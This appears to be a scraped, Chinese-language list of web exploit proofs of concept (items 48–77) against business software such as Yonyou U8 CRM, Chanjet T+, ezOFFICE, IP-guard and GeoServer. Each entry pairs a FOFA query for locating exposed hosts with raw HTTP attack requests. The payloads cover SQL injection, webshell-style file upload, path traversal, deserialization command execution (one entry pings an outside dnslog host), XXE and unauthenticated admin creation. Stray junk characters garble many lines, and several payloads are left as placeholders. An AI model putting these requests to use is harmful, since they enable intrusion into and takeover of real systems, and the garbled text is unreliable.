User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
! P8 Y+ a) ?9 ?5 q6 S. V: X4 yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
' F( `  o) D4 m6 K* T& I* s5 }* X( `Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
; q- X1 ]- ]9 G6 t% `Connection: close

6 L  E; ~- {# G

9 [. d! @- B* d- m. f48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
" u; y' H5 n' g7 FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" k0 B, D" }$ mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, m: U6 h6 G4 Z# zAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
! I$ D6 {! C5 D) I5 J0 c- c5 Z7 z! H5 IContent-Disposition: form-data; name="file"; filename="s.php"
+ h2 F/ g0 N  @6 |$ U$ z3 \1231
Content-Type: application/octet-stream
------269520967239406871642430066855
. V: B, l/ ?% |2 z$ a8 s/ I8 CContent-Disposition: form-data; name="upload"
( l+ `; f* ]1 Mupload
  @8 T1 g  F( S& `4 v- Y% C8 c------269520967239406871642430066855--

2 f" _" A1 e  Y
. H- G+ d9 E3 f/ v2 Q49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"
/ v6 |5 t9 X6 {, `+ I' ?5 J
; N# S! \, d- p; k! _6 O  _POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
0 b" M+ r  s' [( s' A) T9 CHost: x.x.x.x
  R% q6 L/ C0 s% j$ hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# O! h0 k) t7 p* H/ J, `Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
% O5 f+ E' G6 e4 X
, H' ~2 {8 A! J" Z( R" g-----------------------------vvv3wdayqv3yppdxvn3w
" [- X+ O. ]3 E# Z, c) mContent-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

0 X" s9 J! v3 U- q2 Z% Vwersqqmlumloqa
0 R5 d0 v. B0 i5 D3 S" ]; A$ h' `-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
. s+ w8 V, A, j8 r/ c# t
upload
-----------------------------vvv3wdayqv3yppdxvn3w--
. ]$ M: E, j) h( \; h

- n% G- K  r1 y% ^! o' U. M2 p! @http://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
7 D1 l9 s% z% j6 ]9 @( B  CPOST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
+ e' T+ O' L" aUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
3 S: {, w+ }- BConnection: close
9 s- h& P, y# g( ~8 \7 V; q# gContent-Length: 224
) l! O- o  j9 XAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
% ]6 t" e5 F* b; @/ G
searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
! J; y. Z0 Z0 x; t7 n5 }

51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
& R6 o3 h5 z' s# k# m& B5 WFOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
: [! C$ q9 T  U7 \Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* D3 F$ a, ?5 ~! s+ H% BConnection: close
8 I6 f0 n% C8 d2 N2 C

52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
! K% [+ |# |$ m0 X, ?POST /building/json_common.php HTTP/1.1
4 M# q8 t; w. JHost: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
. p5 g( X  Q, t7 v  O% @Connection: close
Content-Length: 87
Accept: */*
' X, M7 B7 }: i5 Q/ rAccept-Language: en
0 j$ p; n* X0 p7 p. E% X1 OContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
2 q0 q+ `; g" l/ e
  a2 J% z& I% {" ?: ^5 Jtfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
: D" j5 W' t9 F: z' g; t2 t+ b/ t6 }

53. 迪普 DPTech VPN Service 任意文件上传
1 d8 T" p, k: gFOFA：app="DPtech-SSLVPN"
1 M: s- F) k7 Q( h/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
3 A0 r# [) n& {# c

54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
5 e0 R" N! L, Y# Y第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
$ |  z* E2 X  I  {1 x1 u
2 \) q; q# C, E6 l# g; e/ }  d$ S4 T
, |! z% X0 c' o4 c* V0 j完整数据包
% r: a. Z" o1 Z7 U. y4 |& SPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
5 c9 s% b! O! eHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

{
"storeID":{
6 F. z; _7 t! H! A: n9 d "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
4 Q5 x% r- Y+ A9 m' @- M  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
) @8 Y, x: x  _) @    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
; \1 g8 q: \! W+ H! ?$ i. N    }
) W1 H' p* ?1 E3 M  }
; T7 ~9 v( ]% y( f0 o0 A2 ]0 `, [  }
}
" N7 s4 R. R' F5 g
4 m$ j; }; v3 i5 }& Y3 M
2 g+ s* e5 T! x第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


( t& l" S( e9 J3 D$ R55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
# B# V8 x7 D+ _' U% V第一步，通过
4 n; M! f7 `# n) m5 Z5 z/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
3 @& G0 a% K, n/ N0 k/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
" t! _0 Q8 F2 ^1 a0 \
: C) t% t9 l* N; B% K1 {56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
) P& E6 g: b; Q: S5 VFOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
$ j7 `( I8 R8 R2 M: CHost: x.x.x.x
* S+ X, A( m% C# `7 g5 Y0 `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json

4 M% L7 w3 z2 P0 j4 K; c{
4 m$ }0 I) m8 h' r; g2 s. u  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
0 n7 d% B0 T2 h  c' ]        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
, o+ R' w( d/ ?2 O0 \           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
& ], V& F. g+ {$ \9 w       }
    }
! ^. }8 |" m) A& z  }
}
0 t' H% ?7 u" L* n& P' A/ W$ M% Y# A

57. 畅捷通T+ keyEdit.aspx SQL注入
  L( S0 t4 o  [; Q( j6 PFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
1 ~$ p% d# B; u7 }2 P8 C: {Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
! Q2 J, g3 m2 X3 D  q4 [* DAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
7 y$ K( \: z6 Y! U0 Q' ?# B, @Connection: close

. [$ d) N6 R1 u, @# J; G
58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
8 L) u0 G. i0 |$ xConnection: close
' C9 R4 y' N+ r: m3 K, ?7 t

59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
' E% S+ a, d6 }$ q6 G  N. ^POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
; q: b7 @/ I" F5 ?/ `' d! bHost: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
( I0 K3 y6 N$ N4 E" V( jConnection: close
Content-Length: 1669
3 H: G1 S# _- P; U2 vAccept: */*
: J3 G. {" p0 mAccept-Language: en
Content-Type: application/x-www-form-urlencoded
  I  }7 c: y) u2 HAccept-Encoding: gzip

. V1 {7 p" o- j. u# JPAYLOAD

" `' g4 z3 K# p- b9 y
$ T8 }9 A" F5 \7 s+ m60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
1 E$ \( G9 t+ ^) I1 @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% z! C2 y7 w8 @! CAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
0 n6 F" l) p, [Connection: close
$ n1 `$ C+ `4 [4 V

61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
- C$ [( i: k0 p5 F, K! vPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
+ L- Z  d; E5 m% V7 D7 s7 Z4 CHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
Accept: */*
  i' m- d+ S7 n  FAccept-Encoding: gzip, deflate
Accept-Language: en
! u  v) c% o/ SContent-Type: application/x-www-form-urlencoded
' a( E6 y: t" |. L
- y7 I8 Z% Y( C+ J7 V8 p8uxssX66eqrqtKObcVa0kid98xa
7 K; m- h" G: O0 B, z$ K
' t0 }  F- g" t' X% v% H! k) o
62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
/ A$ I' d9 B7 V7 eGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
, C  G; O; n8 R; J5 l9 FUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
% E; ~4 i) r4 e* V5 D9 d% |" [

访问
# _. y$ q3 e5 g& f3 w
3 {* `* Y" K* ?" e! Z. BGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
4 ~( k* j" O  P4 RHost: x.x.x.x

( e+ t8 l1 a* r( b8 g
- V8 S. R/ i3 b0 l' ]3 ^. ~63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
( G+ R, W8 ]! ^) RFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
# e) m; M  o# f8 `+ J3 THost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& o- q! b8 P1 G- ~Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
, M% N0 ^/ j5 E! \Connection: close
6 B" @! d  }, u. r3 @& C4 XContent-Type: application/x-www-form-urlencoded
- O, K5 D! O; F& P1 ^, \. d. B
+ a0 r- b/ R4 x2 W9 ]. U$ Ypath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
7 V: Z  o, H/ M$ _
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
7 @! d0 k& c( B3 V. GFOFA：body="/Scripts/EnjoyMsg.js"
$ K5 R; i. i  OPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
+ E( O6 y: T# G8 jUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
* V- H+ j( D" P4 m! c5 UConnection: close
3 h0 t3 B. D& q% o( |* XContent-Length: 369
Accept: */*
- a# o7 h. W$ m) a" t! s5 R0 }8 m$ ZAccept-Language: en
: N$ K$ v0 j9 n7 ?6 ]Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

2 o  O& [5 y& I' @( X; Z$ J* [' M<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
/ V0 G' D% @5 {- n<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
; O: m. \9 r. h! H: T. k3 T    </GetOSpById>
* _) @$ o- X/ ?4 a  </soap:Body>
</soap:Envelope>


/ X- e1 O" B. b! g" g65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
# n/ `, y" |3 m$ h" rHost:
) z* M& M6 E0 f& l2 Z( P' pUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
. V5 R- U  n/ R% B# N' FConnection: close
! |& C  j" l0 V" q- C& \4 L% s; N% ~Accept-Language: en
' Z; K  ?7 [$ S# C$ d2 c- V. QContent-Length: 174

) [" p* E5 P& n! U+ J) C+ zoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

+ n3 {! A4 A: v4 a8 R
. q- S: U  d+ W; R- }9 C- }. s* o66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
! p& D% K5 X7 i* L8 EFOFA：app="万户ezOFFICE协同管理平台"
& W/ M0 |0 b& N+ V
& ~8 P$ g, _& \# k6 b4 N! eGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
1 o7 v% k, w8 ?" bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
+ J8 B1 D& }6 ^6 h; q- dConnection: close
$ Y8 ]/ g6 e/ C) C1 kAccept: */*
Accept-Language: en
Accept-Encoding: gzip

# {3 J8 E1 g) w8 j! J
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
" d! g; a1 _& Y( m0 w3 AFOFA：app="万户网络-ezOFFICE"
* i7 H7 Q( ^* C7 {3 R. U# AnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
- a5 D9 }/ X: S0 fContent-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
# s) G/ n* K; D! Z; ^Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
' i* h* e% g! t$ ?/ J& |' ~+ W( p! kUpgrade-Insecure-Requests: 1
- w8 P) |0 Z8 M9 d2 m
--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
0 l4 k6 ^; j" d$ q8 {
9 U3 p' {  c0 ~$ E<% out.print("sasdfghjkj");%>
/ {1 y  S$ m" G' s--ufuadpxathqvxfqnuyuqaozvseiueerp--


文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
  R5 ^! L3 U; k2 D; y% y
$ H, L) T5 r1 E& D1 c9 g) n; V68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
, h$ k$ h! ?9 `; d% ^GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
2 S- ]3 `" W/ L+ P! g. \( ]- cHost: {{host}}
2 |/ Y, N+ H6 `' B' {  @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
; T$ k1 e- M, p+ ?: b- S9 RAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
$ i* P& E- ?* I  S( AAccept-Language: zh-CN,zh;q=0.9
Connection: close
5 e1 G* k2 e2 J6 f& E
  {2 g, e: A( |  l6 n  g9 G
69. 万户 ezOFFICE contract_gd.jsp SQL注入
9 _2 b5 N& l" GFOFA：app="万户ezOFFICE协同管理平台"
3 q# T& L3 v- @4 |GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
8 U9 r. u' u0 y0 p1 ^Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
  t& `7 D; |% `7 a2 w0 KAccept: */*
& _1 E" o/ N: zConnection: keep-alive
' }" N* B- Z* K/ r( z

8 c& p4 o) F2 E! J1 u5 \( u70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
1 s/ p, {9 N: w8 F% b$ ]1 C7 z. }* CHost: {{Hostname}}
' G5 r; T8 q" L) B4 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
4 p+ ~, L6 _3 Q: L" f1 `" NSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
7 Q7 G: F: T; ?  G. a9 p; zTYPE: C
/ R* {7 a/ k; n& u5 hContent-Length: 16702
5 s6 o6 _- H0 c* Q% M
__VIEWSTATE=PAYLOAD
) H+ B& T" A" Q
: [% K/ B6 A3 h6 {
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
  g1 i/ x0 h0 IGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
1 }1 F. @* m* q" b+ VHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
1 @7 q% p8 B- p4 K4 K9 b! yConnection: close
  l, e9 I4 w: W( r+ w6 f/ CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1

# h6 o, E& Z3 w5 N6 R
72. 致远OA getAjaxDataServlet XXE
3 X  r5 [6 p! F6 G- g: S5 ]  wFOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
) l2 f) s7 V+ g& L. l* FContent-Type: application/x-www-form-urlencoded
1 q; p, c6 J3 X" }Accept-Encoding: gzip
/ s8 D5 Y3 B1 J, }% Q+ Z; c5 J4 R% H
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E

' j; Z( Y& I0 n) F7 I: e
73. GeoServer wms远程代码执行
8 v& b% f& V: I" g) A# FFOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
9 \' l' q" v3 T# T$ B" p# `Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
0 G; x# u5 ]* Q; @6 l9 L3 cContent-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
SL-CE-SUID: 3

: a2 X; T/ M  TPAYLOAD

8 a" O( E$ c; |# U& G% T
- O7 j$ ]9 @$ ]2 f* S6 P: }74. 致远M3-server 6_1sp1 反序列化RCE
0 x4 u3 b" M1 S( G6 ]! AFOFA：title="M3-Server"
PAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
; k6 q& E  E1 PFOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
8 o- k3 F7 c8 D5 W' Q5 W& ~3 ^! IHost: x.x.x.x
4 V8 L5 s7 L% u5 J- X/ I. g- a. KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
! i4 U9 K0 n' ]" i4 j3 XAccept: */*
$ n, R- e4 R! n: k: j/ bAccept-Language: en
Accept-Encoding: gzip

/ Q1 H$ a2 g3 A4 L
GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x

( n1 U( T' `; P3 e( v2 F7 V
5 Q* `0 E: X% a1 @- a" _8 l3 h76. 新开普掌上校园服务管理平台service.action远程命令执行
6 C7 L: X0 {- x/ x# |3 j' yFOFA：title="掌上校园服务管理平台"
2 [# I, v; d. j" a; dPOST /service_transport/service.action HTTP/1.1
3 z  ~4 [0 u, E; k% m" }Host: x.x.x.x
1 n7 {! O: e% zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
& O) f2 O5 h0 K1 d3 A4 S' \7 MContent-Length: 211
# B. r  y2 _- O0 T) N# }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
6 W0 |/ g9 v9 a% eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
( Z& ]' z0 ~" S# }8 {Upgrade-Insecure-Requests: 1

{
) H4 s% B( f! _, e* a5 N"command": "GetFZinfo",
' G2 F& B- _' V% m% d  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
# k. P9 ]7 I; @1 Z( |}


GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
' U3 b+ d4 W1 n9 R+ XHost: x.x.x.x
) k. s2 z9 V" U% h4 U+ m( i* ^# G6 r


77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
; N3 e: h; z4 O0 I) T& x/ S+ RPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
